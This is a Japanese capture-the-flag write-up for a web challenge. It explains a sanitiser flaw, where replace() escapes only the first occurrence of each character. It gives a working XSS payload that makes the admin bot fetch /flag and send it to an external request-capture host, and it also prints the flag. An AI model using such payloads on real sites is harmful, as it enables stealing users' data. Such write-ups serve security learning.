Skip to content

Latest commit

 

History

History

Xtra_Salty_Sardines

Folders and files

NameName
Last commit message
Last commit date

parent directory

..
 
 
 
 
 
 
 
 

Xtra Salty Sardines:Web:70pts

Clam was intensely brainstorming new challenge ideas, when his stomach growled! He opened his favorite tin of salty sardines, took a bite out of them, and then got a revolutionary new challenge idea. What if he wrote a site with an extremely suggestive acronym?

Source, Admin Bot

Solution

アクセスすると謎のイワシとフォームが出てくる。
Xtra Salty Sardines
site.png
問題名やAdmin Botがあることから、XSS問のようだ。
<script>alert('Satoki');</script>をPOSTするとおかしな表示となった。
alert.png
HTMLは以下のようになっていた。

~~~
<body>
    <h1>Your sardine's name is &lt;script&gt;alert(&apos;Satoki');</script>!</h1>
    <p>Unfortunately, your flag is in another sardine.</p>
    <p>Want more? <a href="/">Go back</a>.</p>
</body>
~~~

サニタイズがおかしいことがわかる。
配布されたソースのサニタイズ部分を見てみる。

~~~
    // no pesky chars allowed
    const name = req.body.name
        .replace("&", "&amp;")
        .replace('"', "&quot;")
        .replace("'", "&apos;")
        .replace("<", "&lt;")
        .replace(">", "&gt;");
~~~

replaceなので、一度しか置換されない。
&"'<><script>alert('Satoki');</script>で無事にalertされた。
フラグはソースより/flagにあることがわかるため、XSSペイロードを投稿しAdmin BotにGETで取得させればよい。
以下のXSSペイロード投稿し、生成されたURLをAdmin Botに送信し、RequestBin.comでリクエストを待ち受ける。

&"'<><script>fetch("https://xtra-salty-sardines.web.actf.co/flag").then(res => res.text()).then(text => fetch("https://xxxxxxxxxxxxx.x.pipedream.net?s=" + text));</script>

/?s=actf{those_sardines_are_yummy_yummy_in_my_tummy}なるflagを含むリクエストが到達した。

actf{those_sardines_are_yummy_yummy_in_my_tummy}